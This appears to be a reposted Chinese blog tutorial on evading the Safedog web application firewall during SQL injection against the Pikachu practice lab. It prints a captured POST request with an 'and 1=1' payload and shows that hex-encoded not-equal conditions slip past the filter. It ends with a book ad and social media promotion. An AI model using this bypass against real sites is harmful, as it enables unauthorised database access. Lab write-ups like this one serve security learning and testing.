一、环境
2、Pikachu靶机
3、安全狗最新版
二、BurpSuite2022抓包，点击获取下载地址
1、正常访问结果
2、抓取POST包，并修改，加入and 1=1，提示被拦截
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1Host: localhostContent-Length: 21Cache-Control: max-age=0sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/pikachu/vul/sqli/sqli_id.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=vm1gpr93kn5nat0e23qft4tsg7Connection: closeid=1 and 1=1&submit=1
3、将and 1=1修改为and 0x1!=0x1肯定不成立，返回不存在，再修改为and 0x1!=0x0，返回用户名，说明“十六进制+不等于”可以绕过该WAF。
好书推荐
本书以Python作为数据分析的工具，系统地介绍数据分析所需的核心知识点，为书中的数据分析任务提供分析说明、代码示例和极为详细的代码注释，对于代码中出现的重要知识点会细心地为读者标注出相关内容在书中出现的章节位置。全书共11章，分为3篇：初识篇、基础篇和进阶篇。初识篇（第1和2章），主要介绍数据分析和Python的相关基础概念，一些数据分析的具体应用场景及Python的集成开发环境；基础篇（第3~9章），主要介绍Python的基础语法，自动化办公的基础操作，数据可视化库Matplotlib和Seaborn，数据分析的核心库Numpy和Pandas，提供了大量翔实有趣的编程和数据分析示例；进阶篇（第10和11章），主要介绍了机器学习的入门基础理论知识和代码实现，监督学习和无监督学习的各种典型算法，涉及机器学习和数据挖掘的常用库scikit-learn及神经网络框架PyTorch等的使用，还介绍了编程算法中的动态规划，数据分析的实战例子。本书面向初学者，可以作为高等院校各专业的数据分析课程教材，也可以作为广大数据分析从业者、爱好者、办公人员、科研人员的参考和学习用书。
禁止非法，后果自负
欢迎关注公众号：web安全工具库
欢迎关注视频号：之乎者也吧
加我微信(ivu123ivu)私聊，暗号：绕过，获取抽奖福利，仅当天有效。
原文始发于微信公众号（web安全工具库）：WAF绕过 -- and判断
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论